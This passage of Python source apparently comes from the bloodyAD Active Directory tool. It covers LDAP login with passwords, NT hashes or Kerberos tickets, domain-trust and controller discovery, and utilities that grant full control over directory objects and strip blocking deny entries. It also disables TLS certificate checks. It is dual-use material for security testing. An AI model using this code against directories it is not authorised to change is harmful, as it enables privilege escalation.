partitions) class SearchOptionsRequest(core.Sequence): _fields = [ ("Flags", core.Integer), ] SERVER_SEARCH_FLAG_PHANTOM_ROOT = 2 scontrols = SearchOptionsRequest({"Flags": SERVER_SEARCH_FLAG_PHANTOM_ROOT}) LDAP_SERVER_SEARCH_OPTIONS_OID = "1.2.840.113556.1.4.1340" return (LDAP_SERVER_SEARCH_OPTIONS_OID, False, scontrols.dump()) class Ldap(MSLDAPClient): conf = None domainNC = None configNC = None # Format: {:{"conn":, "domsid":}} # "conn" is optionnal _trustmap = collections.defaultdict(dict) conn = None def __init__(self, conn): self.conn = conn cnf = conn.conf self.conf = cnf # Because msldap uses a url format we have to encode everything properly encoded_cnf = {} for attr_name, attr_value in vars(cnf).items(): if type(attr_value) is str: encoded_cnf[attr_name] = urllib.parse.quote(attr_value, safe="") else: encoded_cnf[attr_name] = attr_value auth = "" creds = "" username = "" key = "" params = "serverip=" + cnf.dcip if cnf.certificate: if cnf.certificate == "certstore": if os.name == "nt": auth = "kerberos-certstore" else: raise ValueError( "Certstore only available on Windows, --certstore can't be left empty here" ) elif cnf.crt: auth = "ssl" params += "&sslcert=" + encoded_cnf["crt"] if cnf.key: params += "&sslkey=" + encoded_cnf["key"] if cnf.password: params += "&sslpassword=" + encoded_cnf["password"] else: raise ValueError( "--certificate must have +':'+ format, leave it empty to use the Windows certstore" ) elif cnf.kerberos: username = "%s\\%s" % (encoded_cnf["domain"], encoded_cnf["username"]) if cnf.dcip == cnf.host: raise ValueError( "You can provide the IP in --dc-ip but you need to provide the" " hostname in --host in order for kerberos to work" ) params += "&dc=" + cnf.kdc if cnf.kdcc and cnf.realmc: params += f"&dcc={cnf.kdcc}&realmc={cnf.realmc}" if cnf.password: if cnf.format in ["aes", "rc4"]: auth = "kerberos-" + cnf.format else: auth = "kerberos-password" key = encoded_cnf["password"] else: key = encoded_cnf["key"] if not key: if os.name == "nt": auth = "sspi-kerberos" else: raise ValueError( "You should provide a -p 'password' or a kerberos ticket" " via '-k =./myticket'" ) else: auth = "kerberos-" + cnf.krbformat if cnf.format in ["b64", "hex"]: auth += cnf.format else: username = "%s\\%s" % (encoded_cnf["domain"], encoded_cnf["username"]) if cnf.nthash: auth = "ntlm-nt" key = encoded_cnf["nthash"] else: key = encoded_cnf["password"] if not key: if os.name == "nt": auth = "sspi-ntlm" else: raise ValueError("You should provide a -p 'password'") else: auth = "ntlm-pw" if cnf.format in ["b64", "hex"]: auth += cnf.format auth = "+" + auth if auth else "" creds = username if username else "" creds = creds + ":" + key if key else creds creds = creds + "@" if creds else "" params = "/?" + params co_url = f"{cnf.scheme}{auth}://{creds}{encoded_cnf['host']}{params}" LOG.debug(f"[+] Connection URL: {co_url}") ldap_factory = LDAPConnectionFactory.from_url(co_url) super().__init__(ldap_factory.target, ldap_factory.credential, keepalive=True) # Connect function runs indefinitely waiting for I/O events so using asyncio.run will not allow us to reuse the connection # To avoid it, we launch it in another thread and we control it using a defined event_loop self.loop = asyncio.new_event_loop() connect_task = self.loop.create_task(self.connect()) self.thread = threading.Thread(target=self.loop.run_forever) self.thread.start() # Using an async function to await connect_task because connect_task.result doesn't work async def getServerInfo(task): return await task try: LOG.debug(f"[*] Trying to connect to {self.conf.host}...") _, err = asyncio.run_coroutine_threadsafe( getServerInfo(connect_task), self.loop ).result() if err: raise err LOG.debug("[+] Connection successful") self.isactive = True self.domainNC = self._serverinfo["defaultNamingContext"] self.configNC = self._serverinfo["configurationNamingContext"] self.schemaNC = self._serverinfo["schemaNamingContext"] self.appNCs = [] for nc in self._serverinfo["namingContexts"]: if nc in [self.domainNC, self.configNC, self.schemaNC]: continue self.appNCs.append(nc) except Exception as e: self.closeThread() raise e def bloodyadd(self, target, **kwargs): _, err = asyncio.run_coroutine_threadsafe( self.add(self.dnResolver(target), **kwargs), self.loop ).result() if err: raise err def closeThread(self): for task in asyncio.all_tasks(self.loop): task.cancel() self.loop.call_soon_threadsafe(self.loop.stop) self.thread.join(0) def close(self): if not self.isactive: return self.isactive = False for trust in self._trustmap.values(): if "conn" in trust and trust["conn"] != self.conn: trust["conn"].closeLdap() asyncio.run_coroutine_threadsafe(self.disconnect(), self.loop).result() self.closeThread() def bloodydelete(self, target, *args): _, err = asyncio.run_coroutine_threadsafe( self.delete(self.dnResolver(target), *args), self.loop ).result() if err: raise err @lru_cache def dnResolver(self, identity, objtype=None): """ Return the DN for the object based on the parameters identity Args: identity: sAMAccountName, DN, GUID or SID of the user objtype: None is default or GPO """ async def asyncDnResolver(identity, objtype=None): if "dc=" in identity.lower(): # identity is a DN, return as is # We do not try to validate it because it could be from another trusted domain return identity if "s-1-" in identity.lower(): # We assume identity is an SID ldap_filter = f"(objectSid={identity})" elif "{" in identity: if objtype == "GPO": ldap_filter = ( f"(&(objectClass=groupPolicyContainer)(name={identity}))" ) else: # We assume identity is a GUID ldap_filter = f"(objectGUID={identity})" else: # By default, we assume identity is a sam account name ldap_filter = f"(sAMAccountName={identity})" dn = "" entries = self.pagedsearch( ldap_filter, ["distinguishedName"], tree=self.domainNC ) async for entry, err in entries: if err: raise err if dn: raise TooManyResultsError(self.domainNC, ldap_filter, entries) dn = entry["attributes"]["distinguishedName"] if not dn: raise NoResultError(self.domainNC, ldap_filter) return dn return asyncio.run_coroutine_threadsafe( asyncDnResolver(identity, objtype), self.loop ).result() def bloodymodify(self, target, changes, controls=None, encode=True): if controls is not None: t = [] for control in controls: t.append( { "controlType": control[0].encode(), "criticality": control[1], "controlValue": control[2], } ) controls = t _, err = asyncio.run_coroutine_threadsafe( self.modify(self.dnResolver(target), changes, controls, encode=encode), self.loop, ).result() if err: raise err @cached_property def current_site(self): return (self._serverinfo["serverName"].rsplit(",CN=Sites")[0]).split( ",CN=Servers,CN=" )[1] @cached_property def is_gc(self): # If we are in a gc connection we don't have the options attribute but we can check the scheme of our connection if self.conf.scheme == "gc": return True NTDSDSA_OPT_IS_GC = 1 # Sometimes raise an error, I don't know why, maybe race condition? nTDSDSA_options = next( self.bloodysearch(self._serverinfo["dsServiceName"], attr=["options"]) )["options"] return nTDSDSA_options & NTDSDSA_OPT_IS_GC @cached_property def policy(self): """ [MS-ADTS] - 3.1.1.3.4.6 LDAP Policies """ async def asyncPolicy(): dict_policy = {"MaxPageSize": 1000} nTDSDSA_dn = self._serverinfo["dsServiceName"] site_match = re.search("[^,]+,CN=Sites.+", nTDSDSA_dn) nTDSSiteSettings_filter = "" if site_match: nTDSSiteSettings_dn = "CN=NTDS Site Settings," + site_match.group() nTDSSiteSettings_filter = f"(distinguishedName={nTDSSiteSettings_dn})" default_policy_dn = ( "CN=Default Query Policy,CN=Query-Policies,CN=Directory" " Service,CN=Windows NT,CN=Services," + self.configNC ) ldap_filter = f"(|(distinguishedName={nTDSDSA_dn}){nTDSSiteSettings_filter}(distinguishedName={default_policy_dn}))" raw_policy = "" async for entry, err in self.pagedsearch( ldap_filter, ["lDAPAdminLimits"], tree=self.configNC ): if err: raise err if "lDAPAdminLimits" not in entry: continue if entry["objectName"] == nTDSDSA_dn: raw_policy = entry["attributes"]["lDAPAdminLimits"] break elif entry["objectName"] == nTDSSiteSettings_dn: raw_policy = entry["attributes"]["lDAPAdminLimits"] elif not raw_policy and entry["objectName"] == default_policy_dn: raw_policy = entry["attributes"]["lDAPAdminLimits"] for raw_param in raw_policy: param_name, _, param_val = raw_param.partition("=") dict_policy[param_name] = int(param_val) return dict_policy return asyncio.run_coroutine_threadsafe(asyncPolicy(), self.loop).result() def getTrustMap(self, nctype=NCType.ALL): if self._trustmap and (self._nctype & nctype) == nctype: return self._trustmap asyncio.get_event_loop().run_until_complete( self.getTrusts( transitive=True, dns=self.conf.dns, allow_gc=(nctype == NCType.PARTIAL_DOM), ) ) return self._trustmap async def interTrustOp(self, partition_map, op_params, op_name="bloodysearch"): async def partitionOp(conn_list): for conn in conn_list: try: op_fn = getattr(conn.ldap, op_name) return op_fn(op_params) except Exception as e: LOG.error( f"[!] Something went wrong when trying to perform '{op_name}' with '{op_params}' on {conn.conf.host} with the {conn.conf.scheme} protocol" ) LOG.error(f"[!] Error {type(e).__name__}: {e}") tasks = [] for pattr in partition_map.values(): tasks.append(partitionOp(pattr["conn_list"])) op_results = await asyncio.gather(*tasks) return op_results def bloodysearch( self, base, ldap_filter="(objectClass=*)", search_scope=Scope.BASE, attr=["*"], control_flag=( accesscontrol.OWNER_SECURITY_INFORMATION + accesscontrol.GROUP_SECURITY_INFORMATION + accesscontrol.DACL_SECURITY_INFORMATION ), controls=None, raw=False, ): # Handles corner case where querying default partitions (no dn provided for that) if base: base_dn = self.dnResolver(base) else: base_dn = base if not controls: # Search control to request security descriptor parts req_flags = SDFlagsRequestValue({"Flags": control_flag}) controls = [("1.2.840.113556.1.4.801", True, req_flags.dump())] self.ldap_query_page_size = self.policy["MaxPageSize"] search_generator = self.pagedsearch( ldap_filter, attr, tree=base_dn, search_scope=search_scope.value, controls=controls, raw=raw, ) isNul = True try: while True: entry, err = asyncio.run_coroutine_threadsafe( search_generator.__anext__(), self.loop ).result() if err: raise err isNul = False yield { **{"distinguishedName": entry["objectName"]}, **entry["attributes"], } except StopAsyncIteration: pass finally: asyncio.run_coroutine_threadsafe( search_generator.aclose(), self.loop ).result() if isNul: raise NoResultError(base_dn, ldap_filter) async def getTrusts(self, transitive=False, dns="", allow_gc=True): # forest_name = "" # forest_name = ( # ".".join(conn.ldap._serverinfo["rootDomainNamingContext"].split(",DC=")) # ).split("DC=")[1] # We shouldn't need to make trust_dict async_safe cause there is no call to trust_dict before an await access it in fetchTrusts() trust_dict = {} trust_to_explore = await self.fetchTrusts( self.conn, trust_dict, dns, allow_gc=allow_gc ) # We don't do it on foreign trust because there is no transitivity between 3 forests (A<->B<->C) A doesn't have trust on C even if B has it if transitive: if not self.conf.domain: LOG.warning( "[!] No domain (-d, --domain) provided, transitive trust search will not be" " performed" ) elif self.conf.domain not in trust_dict: LOG.warning( "[!] User doesn't belong to this forest, transitive trust search will not be" " performed" ) else: LOG.info( "[+] Forest trusts fetched, performing transitive trust search" ) tasks = [] for domain_name, parent_conn in trust_to_explore.items(): tasks.append( self.fetchTrusts( parent_conn, trust_dict, dns, domain_name, allow_gc=allow_gc ) ) await asyncio.gather(*tasks) if not trust_dict: LOG.warning("[!] No Trusts found") return trust_dict async def fetchTrusts(self, conn, trust_dict, dns, domain_name="", allow_gc=True): # Search request to look into all available domain partitions on the dc for trusts relationships # We don't care if because of simultaneous dc search there are duplicates, the overhead is minor, trusts are not many search_params = { "base": "", "ldap_filter": "(objectClass=trustedDomain)", "attr": [ "trustDirection", "trustPartner", "trustAttributes", "trustType", "securityIdentifier", ], "search_scope": Scope.SUBTREE, "raw": True, "controls": [phantomRoot()], } trusts = await self.searchInForest( conn, search_params, dns, domain_name, allow_gc ) # Tree root is the DC domain trust_to_explore = {} for trust in trusts: already_in_tree = ( ((trust["distinguishedName"]).rsplit("CN=System,", 1)[1]).replace( "DC=", "" ) ).replace(",", ".") if already_in_tree not in trust_dict: trust_dict[already_in_tree] = {} trust_dict[already_in_tree][trust["trustPartner"][0].decode()] = trust # Let's not waste a run of fetchTrusts and keep active track of it so we can reuse it later self._trustmap[already_in_tree]["conn"] = trust["parent_conn"] self._trustmap[trust["trustPartner"][0].decode()]["domsid"] = trust[ "securityIdentifier" ] # We already have access to all the partitions of the forest through the GC we don't need to connect to other forest DCs if ( common.TRUST_ATTRIBUTES["WITHIN_FOREST"] & int(trust["trustAttributes"][0].decode()) > 0 ): continue # We assume user belongs to forest of provided DC in --host so we can explore external trusts only if we can auth on them (inbound) if ( common.TRUST_DIRECTION["INBOUND"] & int(trust["trustDirection"][0].decode()) > 0 ): # NOTE: If we need later we can add more than one parent_conn as a failsafe and then try to co to trust with more than one parent_conn # Useful when using kerberos and performing cross realm trust_to_explore[trust["trustPartner"][0].decode()] = trust[ "parent_conn" ] return trust_to_explore async def searchInForest( self, conn, search_params, dns, domain_name="", allow_gc=True ): # If domain_name is provided it means we try to reach a domain outside of current "conn" forest so we have to find a server that we can reach for this outsider domain and then we search the entire forest related to this outsider domain newconn = conn if domain_name: host_params = await findReachableDomainServer( domain_name, newconn.ldap.current_site, server_type="" if allow_gc else "ldap", dns_addr=dns, dc_dns=newconn.conf.dcip, ) if not host_params: LOG.warning( f"[!] No reachable server found for {domain_name}, try to provide one" " manually in --host" ) return {} schemes = {389: "ldap", 636: "ldaps", 3268: "gc", 3269: "gc-ssl"} newconn = conn.copy( scheme=schemes[host_params["port"]], host=host_params["name"], dcip=host_params["ip"], ) search_results = [] # dc is a gc for this forest, hosting every records we want, we don't need to look for other domain partitions on other dc # Except if we're looking for attributes no replicated in GC, then searchInForest must be called with allow_gc=False if newconn.ldap.is_gc and allow_gc: search_results = await self.searchInPartition( newconn, search_params, dns, allow_gc=allow_gc ) if newconn != conn and newconn._ldap: newconn.ldap.close() return search_results # Find all domain partitions in the forest and dc hosting them try: # Get all domain partitions in the forest # partitions = conn.ldap.bloodysearch("CN=Partitions," + conn.ldap.configNC, "(&(objectClass=crossRef)(systemFlags=3))", attr=["nCName"]) # Find nTDSDSA objects containing msDS-HasDomainNCs and server objects parents containing dNSHostname entries = newconn.ldap.bloodysearch( "CN=Sites," + newconn.ldap.configNC, "(|(objectClass=nTDSDSA)(objectClass=server))", search_scope=Scope.SUBTREE, attr=["msDS-HasDomainNCs", "dNSHostName", "objectClass"], ) # Put domain partitions and hostnames together by matching server distinguished name on them forest_servers = collections.defaultdict(dict) for entry in entries: if "server" in entry["objectClass"]: try: forest_servers[entry["distinguishedName"]]["host"] = entry[ "dNSHostName" ] except KeyError: LOG.warning( f"[!] No dNSHostName found for DC {entry['distinguishedName']}, the DC may have been demoted or have synchronization issues" ) else: parent_name = (entry["distinguishedName"]).split(",", 1)[1] try: forest_servers[parent_name]["partitions"] = entry[ "msDS-HasDomainNCs" ] except: print("There was some error here") # Reorganize dict on domain so domain becomes the key containing the hosts forest_partitions = collections.defaultdict(list) for dn, attributes in forest_servers.items(): if "host" not in attributes: LOG.warning( f"[!] No dNSHostName found for DC {dn}, the DC may have been demoted or have synchronization issues" ) for p in attributes.get("partitions"): forest_partitions[p].append( {"type": ["A", "AAAA"], "name": attributes["host"]} ) tasks = [] for p, hosts in forest_partitions.items(): host_list = hosts # if newconn already has this partition don't provide new hosts to connect to if p in newconn.ldap._serverinfo["namingContexts"]: host_list = [] tasks.append( self.searchInPartition( newconn, search_params, dns, p, host_list, allow_gc=allow_gc ) ) search_results = await asyncio.gather(*tasks) search_results = [entry for entries in search_results for entry in entries] except Exception as e: LOG.error( f"[!] Something went wrong when trying to perform searchInForest for {domain_name}" ) LOG.error(f"[!] Error {type(e).__name__}: {e}") finally: if newconn != conn and newconn._ldap: newconn.ldap.close() return search_results async def searchInPartition( self, conn, bloodysearch_params, dns, partition="", host_records=[], allow_gc=True, ): schemes = {389: "ldap", 636: "ldaps", 3268: "gc", 3269: "gc-ssl"} ports = [389, 636] if allow_gc: ports += [3268, 3269] # If host_records empty means the dc in "conn" is already the one we want to query if host_records: host_params = await findReachableServer( host_records, dns, conn.conf.dcip, ports=ports ) if not host_params: LOG.warning( f"[!] No reachable server found for {partition}, try to provide one" " manually in --host" ) return {} newconn = conn.copy( scheme=schemes[host_params["port"]], host=host_params["name"], dcip=host_params["ip"], ) else: newconn = conn search_result = [] try: if bloodysearch_params["base"] == "domainNC": # The directory can be handled by others instances of the function so we have to duplicate it before modifying it bloodysearch_params = dict(bloodysearch_params) bloodysearch_params["base"] = newconn.ldap.domainNC # We add parent_conn to know which conn has the trust, useful for krb cross realm search_result = [ {"parent_conn": newconn, **entry} for entry in newconn.ldap.bloodysearch(**bloodysearch_params) ] except Exception as e: LOG.error( f"[!] Something went wrong when trying to perform this ldap search: {bloodysearch_params} on {newconn.conf.host} with the {newconn.conf.scheme} protocol" ) LOG.error(f"[!] Error {type(e).__name__}: {e}") finally: if newconn != conn and newconn._ldap: newconn.ldap.close() return search_result # Find LDAP or GC server based on current AD site async def findReachableDomainServer( domain_or_forest_name, ad_site, server_type="", dns_addr="", dc_dns="" ): record_list = [] ports = [] if not server_type or server_type == "gc": record_list += [ { "type": ["SRV"], "name": f"_gc._tcp.{ad_site}._sites.{domain_or_forest_name}", }, {"type": ["SRV"], "name": f"_gc._tcp.{domain_or_forest_name}"}, ] ports += [3268, 3269] if not server_type or server_type == "ldap": record_list += [ { "type": ["SRV"], "name": f"_ldap._tcp.{ad_site}._sites.{domain_or_forest_name}", }, {"type": ["SRV"], "name": f"_ldap._tcp.{domain_or_forest_name}"}, ] ports += [389, 636] host_params = await findReachableServer(record_list, dns_addr, dc_dns, ports) return host_params # Do 389 even for GC because more probabilities to bypass fw # 389 LDAP, 636 LDAPS, 3268 GC, 3269 GCS async def findReachableServer( record_list, dns_addr="", dc_dns="", ports=[389, 636, 3268, 3269] ): nameservers = [] + (resolver.get_default_resolver()).nameservers if dc_dns: nameservers = [dc_dns] + nameservers if dns_addr: nameservers = [dns_addr] + nameservers LOG.debug(f"[+] Nameservers set to: {nameservers}") # Try to find a dc where we can connect asap resolve_tasks = [] for ns in nameservers: for r in record_list: resolve_tasks.append( asyncio.create_task(asyncResolveAndConnect(ns, r, ports)) ) host_params = await wait_first(resolve_tasks) return host_params # Try to reach a host by first resolving its IPv4 or v6 by providing a nameserver and SRV, A or AAAA records # Then trying to do a tcp connect on all hosts found, first answering will be returned async def asyncResolveAndConnect(ns, r, ports): custom_resolver = resolver.Resolver() custom_resolver.nameservers = [ns] target_srvs = collections.defaultdict(list) answer = None LOG.debug(f"[*] Resolving {r}...") for rtype in r["type"]: try: answer = custom_resolver.resolve(r["name"], rtype, tcp=True) # SRV records if answer.rdtype == rdatatype.SRV: # Try to get IPs from additional part of the answer if there is one for raddi in answer.response.additional: if raddi.rdtype in [rdatatype.A, rdatatype.AAAA]: for raddr in raddi: target_srvs[str(raddi.name)].append(raddr.address) # If no additional part we have to make other queries if not target_srvs: for rsrv in answer: for rsrv_type in ["A", "AAAA"]: try: target_srvs[rsrv.target.to_text()] += [ rdata.address for rdata in custom_resolver.resolve( rsrv.target.to_text(), rsrv_type, tcp=True ) ] except Exception as e: LOG.debug( f"[!] Failed to resolve {rsrv.target.to_text()} {rsrv_type} with nameserver {ns}: {e}" ) continue # A and AAAA records else: target_srvs[r["name"]] += [raddr.address for raddr in answer] except Exception as e: LOG.debug( f"[!] Failed to resolve {r['name']} {rtype} with nameserver {ns}: {e}" ) continue # If the function failed to find hosts if not target_srvs: return {} # We try every combination of ips/ports, useful if there are firewalls # And we take the first to answer, we need only one having the replicas we need connect_tasks = [] for port in ports: for target_ips in target_srvs.values(): for ip in target_ips: connect_tasks.append(asyncio.create_task(host_connect(ip, port))) host_params = await wait_first(connect_tasks) # Function couldn't reach a host for this record if not host_params: return {} for name, ips in target_srvs.items(): if host_params["ip"] in ips: if name.endswith("."): name = name.rstrip(".") host_params["name"] = name break return host_params async def host_connect(ip, port): # Even if a dc doesn't support tls with ldap/gc it will accept the tcp connection # so we start a tls handshake on those port to be sure it handles tls ssl_context = None if port in [636, 3269]: ssl_context = ssl.create_default_context() ssl_context.check_hostname = False ssl_context.verify_mode = ssl.CERT_NONE try: LOG.debug(f"[*] Attempting to TCP connect to {ip}:{port}") reader, writer = await asyncio.open_connection(ip, port, ssl=ssl_context) writer.close() await writer.wait_closed() return {"ip": ip, "port": port} except: LOG.debug(f"[!] Could not TCP connect to {ip}:{port}") return {} async def wait_first(tasks): while tasks: finished, unfinished = await asyncio.wait( tasks, return_when=asyncio.FIRST_COMPLETED ) for x in finished: result = x.result() if result: if unfinished: # cancel the other tasks, we have a result. We need to wait for the cancellations # to propagate. LOG.debug(f"[*] Cancelling {len(unfinished)} remaining tasks") for task in unfinished: task.cancel() await asyncio.wait(unfinished) return result tasks = unfinished return bloodyAD-2.1.7/bloodyAD/utils.py000066400000000000000000000374651473321043600164470ustar00rootroot00000000000000from bloodyAD.exceptions import LOG from bloodyAD.formatters import ( ldaptypes, accesscontrol, adschema, ) from bloodyAD.network.ldap import Scope, phantomRoot import types, base64 from winacl import dtyp from winacl.dtyp.security_descriptor import SECURITY_DESCRIPTOR def addRight( sd, user_sid, access_mask=accesscontrol.ACCESS_FLAGS["FULL_CONTROL"], object_type=None, ): user_sid = dtyp.sid.SID.from_string(user_sid) user_aces = [ ace for ace in sd["Dacl"].aces if ace["Ace"]["Sid"].getData() == user_sid.to_bytes() ] new_ace = accesscontrol.createACE(user_sid.to_bytes(), object_type, access_mask) if object_type: access_denied_type = ldaptypes.ACCESS_DENIED_OBJECT_ACE.ACE_TYPE else: access_denied_type = ldaptypes.ACCESS_DENIED_ACE.ACE_TYPE hasPriv = False for ace in user_aces: new_mask = new_ace["Ace"]["Mask"] mask = ace["Ace"]["Mask"] # Removes Access-Denied ACEs interfering if ace["AceType"] == access_denied_type and new_mask.hasPriv(mask["Mask"]): sd["Dacl"].aces.remove(ace) LOG.debug("[-] An interfering Access-Denied ACE has been removed:") LOG.debug(ace) # Adds ACE if not already added elif mask.hasPriv(new_mask["Mask"]): hasPriv = True break if hasPriv: LOG.debug("[!] This right already exists") else: sd["Dacl"].aces.append(new_ace) isAdded = not hasPriv return isAdded def delRight( sd, user_sid, access_mask=accesscontrol.ACCESS_FLAGS["FULL_CONTROL"], object_type=None, ): isRemoved = False user_sid = dtyp.sid.SID.from_string(user_sid) user_aces = [ ace for ace in sd["Dacl"].aces if ace["Ace"]["Sid"].getData() == user_sid.to_bytes() ] if object_type: access_allowed_type = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE else: access_allowed_type = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE for ace in user_aces: mask = ace["Ace"]["Mask"] if ace["AceType"] == access_allowed_type and mask.hasPriv(access_mask): mask.removePriv(access_mask) LOG.debug("[-] Privilege Removed") if mask["Mask"] == 0: sd["Dacl"].aces.remove(ace) isRemoved = True if not isRemoved: LOG.debug("[!] No right to remove") return isRemoved def getSD( conn, object_id, ldap_attribute="nTSecurityDescriptor", control_flag=accesscontrol.DACL_SECURITY_INFORMATION, ): sd_data = next( conn.ldap.bloodysearch( object_id, attr=[ldap_attribute], control_flag=control_flag, raw=True ) ).get(ldap_attribute, []) if len(sd_data) < 1: LOG.warning( "[!] No security descriptor has been returned, a new one will be created" ) sd = accesscontrol.createEmptySD() else: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data[0]) LOG.debug( "[*] Old Security Descriptor: " + "\t".join([SECURITY_DESCRIPTOR.from_bytes(sd).to_sddl() for sd in sd_data]) ) return sd, sd_data # First elt in grouping order is the first grouping criterium def groupBy(rows, grouping_order): try: grouping_key = grouping_order.pop() merged = groupBy(rows, grouping_order) except IndexError: # We exhausted all grouping criteriums return rows new_merge = [] for row in merged: isMergeable = False for new_row in new_merge: isMergeable = True for k in row: if k == grouping_key: continue try: if row[k] != new_row[k]: isMergeable = False break except ( KeyError ): # If one of the rows doesn't have the non grouping property, it can't be merged continue if isMergeable: new_row[grouping_key] |= row[grouping_key] break if not isMergeable: new_merge.append(row) return new_merge ACCESS_RIGHTS = { "CREATE_CHILD": (0x1,), "DELETE_CHILD": (0x2,), "LIST_CHILD": (0x4,), # LIST_CONTENTS "WRITE_VALIDATED": (0x8,), # WRITE_PROPERTY_EXTENDED "READ_PROP": (0x10,), "WRITE_PROP": (0x20,), # Does it contains WRITE VALIDATED? "DELETE_TREE": (0x40,), "LIST_OBJECT": (0x80,), "CONTROL_ACCESS": (0x100,), "DELETE": (0x10000,), "READ_SD": (0x20000,), "WRITE_DACL": (0x40000,), "WRITE_OWNER": (0x80000,), "ACCESS_SYSTEM_SECURITY": (0x1000000,), "SYNCHRONIZE": (0x100000,), } ACCESS_RIGHTS["GENERIC_EXECUTE"] = ( 0x20000000, ACCESS_RIGHTS["READ_SD"][0] | ACCESS_RIGHTS["LIST_CHILD"][0], ) ACCESS_RIGHTS["GENERIC_WRITE"] = ( 0x40000000, ACCESS_RIGHTS["READ_SD"][0] | ACCESS_RIGHTS["WRITE_PROP"][0] | ACCESS_RIGHTS["WRITE_VALIDATED"][0], ) ACCESS_RIGHTS["GENERIC_READ"] = ( 0x80000000, ACCESS_RIGHTS["READ_SD"][0] | ACCESS_RIGHTS["READ_PROP"][0] | ACCESS_RIGHTS["LIST_CHILD"][0] | ACCESS_RIGHTS["LIST_OBJECT"][0], ) ACCESS_RIGHTS["GENERIC_ALL"] = ( 0x10000000, ACCESS_RIGHTS["GENERIC_EXECUTE"][0] | ACCESS_RIGHTS["GENERIC_WRITE"][0] | ACCESS_RIGHTS["GENERIC_READ"][0] | ACCESS_RIGHTS["DELETE"][0] | ACCESS_RIGHTS["DELETE_TREE"][0] | ACCESS_RIGHTS["CONTROL_ACCESS"][0] | ACCESS_RIGHTS["CREATE_CHILD"][0] | ACCESS_RIGHTS["DELETE_CHILD"][0] | ACCESS_RIGHTS["WRITE_DACL"][0] | ACCESS_RIGHTS["WRITE_OWNER"][0], ACCESS_RIGHTS["READ_SD"][0] | ACCESS_RIGHTS["READ_PROP"][0] | ACCESS_RIGHTS["LIST_CHILD"][0] | ACCESS_RIGHTS["LIST_OBJECT"][0] | ACCESS_RIGHTS["WRITE_PROP"][0] | ACCESS_RIGHTS["WRITE_VALIDATED"][0] | ACCESS_RIGHTS["DELETE"][0] | ACCESS_RIGHTS["DELETE_TREE"][0] | ACCESS_RIGHTS["CONTROL_ACCESS"][0] | ACCESS_RIGHTS["CREATE_CHILD"][0] | ACCESS_RIGHTS["DELETE_CHILD"][0] | ACCESS_RIGHTS["WRITE_DACL"][0] | ACCESS_RIGHTS["WRITE_OWNER"][0], ) # Reverse is sorted for mask operations REVERSE_ACCESS_RIGHTS = dict( sorted( [ (mask, flag) for flag, masktuple in ACCESS_RIGHTS.items() for mask in masktuple ], reverse=True, ) ) class Right: def __init__(self, mask): self.mask = mask def __str__(self): flag_list = [] tmp_mask = self.mask for key_mask in REVERSE_ACCESS_RIGHTS: if ( key_mask & ~tmp_mask ) > 0: # Means key_mask is including bits not in tmp_mask continue remainder = ( tmp_mask & ~key_mask ) # We keep a remainder of tmp_mask with complement of key_mask if tmp_mask is bigger than key_mask flag_list.append(REVERSE_ACCESS_RIGHTS[key_mask]) tmp_mask = remainder if remainder == 0: break if tmp_mask != 0: # If there is unknown mask flag_list.append(str(tmp_mask)) return "|".join(flag_list) class Control: def __init__(self, control_enum): self.control_enum = control_enum def __str__(self): flag_str = repr(self.control_enum).split(".")[1].split(":")[0] flag_str = flag_str.replace("SE_", "") return flag_str class AceType: def __init__(self, acetype_enum): self.acetype_enum = acetype_enum def __eq__(self, o): if not isinstance(o, AceType): return NotImplemented return self.acetype_enum == o.acetype_enum def __str__(self): flag_str = repr(self.acetype_enum).split(".")[1].split(":")[0] flag_str = flag_str.replace("ACCESS_", "") flag_str = flag_str.replace("SYSTEM_", "") flag_str = flag_str.replace("_ACE_TYPE", "") return f"== {flag_str} ==" class AceFlag: def __init__(self, aceflag_enum): self.aceflag_enum = aceflag_enum def __str__(self): flag_str = repr(self.aceflag_enum).split(".")[1].split(":")[0] flag_str = flag_str.replace("_ACE_FLAG", "") flag_str = flag_str.replace("_ACE", "") return flag_str class LazyAdSchema: guids = set() sids = set() # All known guids guid_dict = { **adschema.OBJECT_TYPES, "Self": "Self", } # All known sids sid_dict = dtyp.sid.well_known_sids_sid_name_map isResolved = False # We resolve every guid/sid in one request to be more efficient # Put the load on the server instead of the client # Perfect in case of bad network def _resolveAll(self): if self.isResolved: return # WARNING: only 512 filters max per request filters = [] buffer_filter = "" filter_nb = 0 for sid in self.sids: if filter_nb > 511: filters.append(buffer_filter) buffer_filter = "" filter_nb = 0 buffer_filter += f"(objectSid={sid})" filter_nb += 1 for guid in self.guids: if filter_nb > 511: filters.append(buffer_filter) buffer_filter = "" filter_nb = 0 guid_bin_str = "\\" + "\\".join( [ "{:02x}".format(b) for b in dtyp.guid.GUID().from_string(guid).to_bytes() ] ) buffer_filter += f"(rightsGuid={str(guid)})(schemaIDGUID={guid_bin_str})" filter_nb += 2 filters.append(buffer_filter) # Search in all non application partitions # TODO: search in GC and add domain linked to it as DOMAIN\sAMAccountName, maybe try trusts in the future? for ldap_filter in filters: entries = self.conn.ldap.bloodysearch( "", ldap_filter=f"(|{ldap_filter})", attr=[ "name", "sAMAccountName", "objectSid", "rightsGuid", "schemaIDGUID", ], search_scope=Scope.SUBTREE, controls=[phantomRoot()], ) for entry in entries: if entry.get("objectSid"): self.sid_dict[entry["objectSid"]] = ( entry["sAMAccountName"] if entry.get("sAMAccountName") else entry["name"] ) else: if entry.get("rightsGuid"): key = entry["rightsGuid"] elif entry.get("schemaIDGUID"): key = entry["schemaIDGUID"] else: LOG.warning(f"[!] No guid/sid returned for {entry}") continue self.guid_dict[key] = entry["name"] # Cleanup resolved ids from queues self.isResolved = True self.guids = set() self.sids = set() def addguid(self, guid): # Should not add in set to resolve after if it is already resolved if guid not in self.guid_dict: self.guids.add(guid) def addsid(self, sid): # Should not add in set to resolve after if it is already resolved if sid not in self.sid_dict: self.sids.add(sid) # Return name mapped to the guid def getguid(self, guid): try: return self.guid_dict[guid] except KeyError: if not self.isResolved: self._resolveAll() return self.getguid(guid) else: return guid # Return name mapped to the sid def getsid(self, sid): try: return self.sid_dict[sid] except KeyError: if not self.isResolved: self._resolveAll() return self.getsid(sid) else: return sid global_lazy_adschema = LazyAdSchema() class LazyGuid: def __init__(self, guid): self.guid = guid global_lazy_adschema.addguid(guid) def __str__(self): return global_lazy_adschema.getguid(self.guid) class LazySid: def __init__(self, sid): self.sid = sid global_lazy_adschema.addsid(sid) def __str__(self): return global_lazy_adschema.getsid(self.sid) def 